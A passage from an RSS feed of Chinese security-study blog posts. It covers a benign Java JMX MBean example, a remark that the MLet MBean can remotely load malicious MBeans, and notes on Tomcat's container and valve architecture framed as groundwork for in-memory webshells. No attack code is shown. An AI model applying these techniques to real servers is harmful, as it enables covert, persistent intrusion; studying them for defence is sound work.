238);line-height: 26px;">setTotal</span><span style="line-height: 26px;">(<span style="color: rgb(198, 120, 221);line-height: 26px;">long</span> total)</span> </span>{        <span style="color: rgb(198, 120, 221);line-height: 26px;">this</span>.total = total;    }    <span style="color: rgb(97, 174, 238);line-height: 26px;">@Override</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">long</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">getUsed</span><span style="line-height: 26px;">()</span> </span>{        <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> used;    }    <span style="color: rgb(97, 174, 238);line-height: 26px;">@Override</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">setUsed</span><span style="line-height: 26px;">(<span style="color: rgb(198, 120, 221);line-height: 26px;">long</span> used)</span> </span>{        <span style="color: rgb(198, 120, 221);line-height: 26px;">this</span>.used = used;    }    <span style="color: rgb(97, 174, 238);line-height: 26px;">@Override</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> String <span style="color: rgb(97, 174, 238);line-height: 26px;">doMemoryInfo</span><span style="line-height: 26px;">()</span> </span>{        <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> String.format(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;使用内存: %dMB/%dMB&#34;</span>, used, total);    }}</p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">然后向MBeanSearver注册</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> java.lang.management.ManagementFactory;<span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> javax.management.InstanceAlreadyExistsException;<span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> javax.management.MBeanRegistrationException;<span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> javax.management.MBeanServer;<span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> javax.management.MalformedObjectNameException;<span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> javax.management.NotCompliantMBeanException;<span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> javax.management.ObjectName;<span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/** * <span style="color: rgb(198, 120, 221);line-height: 26px;">@author</span> <a href="https://www.wdbyte.com" target="_blank">https://www.wdbyte.com</a> */</span><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">MyMemoryManagement</span> </span>{    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">static</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">main</span><span style="line-height: 26px;">(String[] args)</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">throws</span> MalformedObjectNameException, NotCompliantMBeanException,        InstanceAlreadyExistsException, MBeanRegistrationException, InterruptedException </span>{        <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 获取 MBean Server</span>        MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();        MyMemory myMemory = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> MyMemory();        myMemory.setTotal(<span style="color: rgb(209, 154, 102);line-height: 26px;">100L</span>);        myMemory.setUsed(<span style="color: rgb(209, 154, 102);line-height: 26px;">20L</span>);        <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 注册</span>        ObjectName objectName = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> ObjectName(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;com.wdbyte.jmx:type=myMemory&#34;</span>);        platformMBeanServer.registerMBean(myMemory, objectName);        <span style="color: rgb(198, 120, 221);line-height: 26px;">while</span> (<span style="color: rgb(198, 120, 221);line-height: 26px;">true</span>) {            <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 防止进行退出</span>            Thread.sleep(<span style="color: rgb(209, 154, 102);line-height: 26px;">3000</span>);            System.out.println(myMemory.doMemoryInfo());        }    }}</p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">对于管理系统来讲，这些MBean中公开的方法，最终会被JMX转换为属性（Attribute）、监听（Listener）和调用（Invoke）的概念</p><table><thead><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><th style="text-align: center;border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);">资源接口</th><th style="text-align: center;border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);">管理的资源</th><th style="text-align: center;border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);">Object Name</th><th style="text-align: center;border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);">VM 中的实例个数</th></tr></thead><tbody style="border-width: 0px;border-style: initial;border-color: initial;"><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="border-color: rgb(204, 204, 204);text-align: center;">ClassLoadingMXBean</td><td style="border-color: rgb(204, 204, 204);text-align: center;">类加载</td><td style="border-color: rgb(204, 204, 204);text-align: center;">java.lang:type= ClassLoading</td><td style="border-color: rgb(204, 204, 204);text-align: center;">1 个</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);text-align: center;">CompilationMXBean</td><td style="border-color: rgb(204, 204, 204);text-align: center;">汇编系统</td><td style="border-color: rgb(204, 204, 204);text-align: center;">java.lang:type= Compilation</td><td style="border-color: rgb(204, 204, 204);text-align: center;">0 个或 1 个</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="border-color: rgb(204, 204, 204);text-align: center;">GarbageCollectorMXBean</td><td style="border-color: rgb(204, 204, 204);text-align: center;">垃圾收集</td><td style="border-color: rgb(204, 204, 204);text-align: center;">java.lang:type= GarbageCollector, name=collectorName</td><td style="border-color: rgb(204, 204, 204);text-align: center;">1 个或更多</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);text-align: center;">LoggingMXBean</td><td style="border-color: rgb(204, 204, 204);text-align: center;">日志系统</td><td style="border-color: rgb(204, 204, 204);text-align: center;">java.util.logging:type =Logging</td><td style="border-color: rgb(204, 204, 204);text-align: center;">1 个</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="border-color: rgb(204, 204, 204);text-align: center;">MemoryManagerMXBean</td><td style="border-color: rgb(204, 204, 204);text-align: center;">内存池</td><td style="border-color: rgb(204, 204, 204);text-align: center;">java.lang: typeMemoryManager, name=managerName</td><td style="border-color: rgb(204, 204, 204);text-align: center;">1 个或更多</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);text-align: center;">MemoryPoolMXBean</td><td style="border-color: rgb(204, 204, 204);text-align: center;">内存</td><td style="border-color: rgb(204, 204, 204);text-align: center;">java.lang: type= MemoryPool, name=poolName</td><td style="border-color: rgb(204, 204, 204);text-align: center;">1 个或更多</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="border-color: rgb(204, 204, 204);text-align: center;">MemoryMXBean</td><td style="border-color: rgb(204, 204, 204);text-align: center;">内存系统</td><td style="border-color: rgb(204, 204, 204);text-align: center;">java.lang:type= Memory</td><td style="border-color: rgb(204, 204, 204);text-align: center;">1 个</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);text-align: center;">OperatingSystemMXBean</td><td style="border-color: rgb(204, 204, 204);text-align: center;">操作系统</td><td style="border-color: rgb(204, 204, 204);text-align: center;">java.lang:type= OperatingSystem</td><td style="border-color: rgb(204, 204, 204);text-align: center;">1 个</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="border-color: rgb(204, 204, 204);text-align: center;">RuntimeMXBean</td><td style="border-color: rgb(204, 204, 204);text-align: center;">运行时系统</td><td style="border-color: rgb(204, 204, 204);text-align: center;">java.lang:type= Runtime</td><td style="border-color: rgb(204, 204, 204);text-align: center;">1 个</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);text-align: center;">ThreadMXBean</td><td style="border-color: rgb(204, 204, 204);text-align: center;">线程系统</td><td style="border-color: rgb(204, 204, 204);text-align: center;">java.lang:type= Threading</td><td style="border-color: rgb(204, 204, 204);text-align: center;">1 个</td></tr></tbody></table><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">zabbix和jconsole都是通过jmx进行性能监控</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">特殊的MBean是MLet，可以通过getMBeanFromURL远程加载恶意Mbean</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">漏洞利用方式如下</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://www.cnblogs.com/0x28/p/15685164.html" target="_blank">https://www.cnblogs.com/0x28/p/15685164.html</a></p><p><mpcps class="js_editor_new_cps" data-templateid="card" data-traceid="0ef9ec57-9f3a-4886-8398-496ed3e3577e" data-goodssouce="1" data-pid="100_443058449323" data-appuin="3529291389" data-buffer="{&#34;category_id&#34;:4,&#34;pid&#34;:&#34;100_443058449323&#34;,&#34;biz_uin&#34;:&#34;3529291389&#34;,&#34;trace_id&#34;:&#34;0ef9ec57-9f3a-4886-8398-496ed3e3577e&#34;,&#34;sku_id&#34;:&#34;100_443058449323&#34;,&#34;source_id&#34;:3,&#34;source_name&#34;:&#34;拼多多&#34;,&#34;audit_state&#34;:1,&#34;main_img&#34;:&#34;https://pcm-img.zhls.qq.com/productcenter-1c3ab695--1018825-993013803218295185/51911590715052023/e3263dfd7d00a0d36b8fc92add1e61c8.jpg&#34;,&#34;product_name&#34;:&#34;浅香洗发水日本氨基酸控油去屑蓬松洗发露去油沐浴露护发素三件套&#34;,&#34;current_price&#34;:6900,&#34;first_category_id&#34;:&#34;4&#34;,&#34;discount&#34;:&#34;3500&#34;,&#34;product_label_name_list&#34;:[&#34;包邮&#34;],&#34;select_tag_name_list&#34;:[],&#34;templateId&#34;:&#34;card&#34;,&#34;appuin&#34;:&#34;3529291389&#34;,&#34;isNewCpsKOL&#34;:1}"></mpcps></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6725ac6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9f98tvdic1z1iaDeGjkLCR83JhFABpYINegDibnwheIPmHlsBtbw952WBA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5858c464&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9gUwYK6GfUgFEkHUUsLPHr4gse7tJEI3qHeWflOEOUqIwxiawGMaJK6g%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2830fe4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9zUxYfBQPxMUXsrjXJDJwibGNQ3LQpYmf3d9lZcoftrc5jFricqIL4kTw%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=66f3902b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9DWUngNemex25VkCM5ZGFjVG4d6LGwvuyaFStTkLpoWHJ6CY2QoiaxOA%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3cbbb4a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9eLnewsluTrSVgUQmpm7yrMN6WhpLLvohukllC74XHYOOhE7P0DYcNA%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=504fab0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs91nlwnUW45HOawPouxlTEoIE6JwaBKg7RKiawbQD2h99kSSA1yfZib92g%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2eba6769&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9QicgdtGbSJxnNEHcmiaQqesSJtt4icfjlPGTcauTmd47rdQLTJaZr9q8A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f688834b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9DceQpyAQTkKvFG3oP0ZrZGsXDG9ibpiaW2icr1poLEgG4WgTOeiaNlqjHg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ca9ebee8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9ayxZx9hiaNLib8YHiaDdribiakroPlR3m2K5yDaMZqlvUhf1GlGXCdboh9g%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6a132080&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9kljUuWWfaQ5Uic6Pbfv09monicE77qnrT4cw0WUxHBNiafHhnP5hWsWxQ%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247483917">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=03f9b4f6&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247483917%26idx%3D1%26sn%3Df7cac693d426d95e83f6ffd178c16722">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 03 Aug 2023 23:59:00 +0800</pubDate>
    </item>
    <item>
      <title>[下班充电计划]tomcat_memshell</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247483903&amp;idx=1&amp;sn=58755740560bba6ccd66f9f3c245953d</link>
      <description>Tomcathttps://segmentfault.com/u/wangzeming###</description>
      <content:encoded><![CDATA[<p>
<span>鲁平</span> <span>2023-07-06 00:04</span> <span style="display: inline-block;">北京</span>
</p>

<p>Tomcathttps://segmentfault.com/u/wangzeming###</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=292766d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKLmS9LmmnAN3qBCRtFic9CwHibSIqHOldYxQH1uCGiatFmVwz0sG2VlicLg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style=""><span style="mso-bookmark:tomcat-1;"><span style="font-family:Calibri;">Tomcat</span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style=""><a href="https://segmentfault.com/u/wangzeming###" target="_blank">https://segmentfault.com/u/wangzeming###</a></span></span><span style="mso-bookmark:tomcat-1;"><span style="font-family:Cambria;">            </span></span><span style="mso-bookmark:tomcat-1;"><span style="">tomcat\spring\java内省基础看这里，这个作者文章很全</span></span><span style="mso-bookmark:tomcat-1;"><span style="font-family:Cambria;">            

            </span></span><span style="mso-bookmark:tomcat-1;"><span style=""><a href="https://pdai.tech/" target="_blank">https://pdai.tech/</a></span></span><span style="mso-bookmark:tomcat-1;"><span style="font-family:Cambria;">            </span></span><span style="mso-bookmark:tomcat-1;"><span style="">java全栈文章在这里，作者为爱发电</span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="font-family:Cambria;">Tomcat 是 Web 应用服务器，是一个 Servlet/JSP 容器。</span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="font-family:Cambria;">Servlet容器也叫做Servlet引擎，是Web服务器或应用程序服务器的一部分，用于在发送的请求和响应之上提供网络服务，解码基于 MIME的请求，格式化基于MIME的响应</span></span></p><p style=""><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Calibri;">tomcat容器</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">Tomcat中有四种类型的Servlet容器，从上到下分别是 Engine、Host、Context、Wrapper，这四个容器之间是父子关系</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 72.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">–</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">Tomcat中的四种容器都继承自Container接口，其中Engin容器全局只有一个，是Container对外提供处理Request和Response的入口。Engin容器的BaseValve是</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="">StandardEngineValve</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">，这个Valve会读取Request中的Host信息，然后把请求路由给对应的Host容器。</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 72.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">–</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">Host容器是Engin容器的子容器，一个Engin容器可以包含多个Host容器，每个Host容器代表一个虚拟主机</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 108.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">PipeLine：用于流式加工处理请求中的信息，每个PipeLine中可以包含多个阀门Valve，每个Valve都有同样的方法</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="">invoke(Request request,Response response)</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">。</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 108.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">BaseValve：基础阀门，和Piple中的阀门的接口相同方法：</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="">invoke(Request request,Response response)</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">，但是作用和Piple中的阀门不同，主要用于将请求传递到下一个容器或者对应的Servlet组件。</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 72.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;"> </span><a href="https://mp.weixin.qq.com/s?__biz=MzI5Nzc0OTkxOQ==&amp;mid=2247483666&amp;idx=1&amp;sn=6421b39037735953fa3148bdbf5bf912&amp;scene=21#wechat_redirect" data-linktype="2"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-size:12.0pt;font-family:Cambria;font-weight:bold;text-underline:none;text-decoration:none;">https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw</span></span></span></a><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;font-weight:bold;"> 2017年n1nty师傅在这里提到插入自定义valve实现内存马</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 108.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">在一个tomcat里面同时支持三个域名，需要在server.xml文件里面的Engine标签下面添加多个Host标签，name表示域名，appbase表示虚拟主机的目录</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 72.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">–</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">一个Host容器可以包含多个Context容器，通常情况下一个Context容器标识一个应用，对应于wabapp目录下面的一个工程</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 72.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">–</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">一个Context容器又可以包含多个Wrapper容器：每个Wrapper容器包含一个Servlet容器，意味着Tomcat允许一个应用有多个servlet实现。Wrapper容器是最小的容器，每个Wrapper都可以对应一个Servlet的实例。</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 108.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">当请求转发到Wrapper容器之后，wrapper容器在调用Pipeline方法之后，会使用特定的类加载器去加载servlet类，对servlet进行实例化和初始化，然后将请求交给servelt的service方法进行处理</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 108.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;"> </span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="">java类加载的双亲委派机制</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="">java中的类加载默认是采用双亲委派模型，即加载一个类时，首先判断自身define加载器有没有加载过此类，如果加载了直接获取class对象，如果没有查到，则交给加载器的父类加载器去重复上面过程</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 108.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;"> </span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">              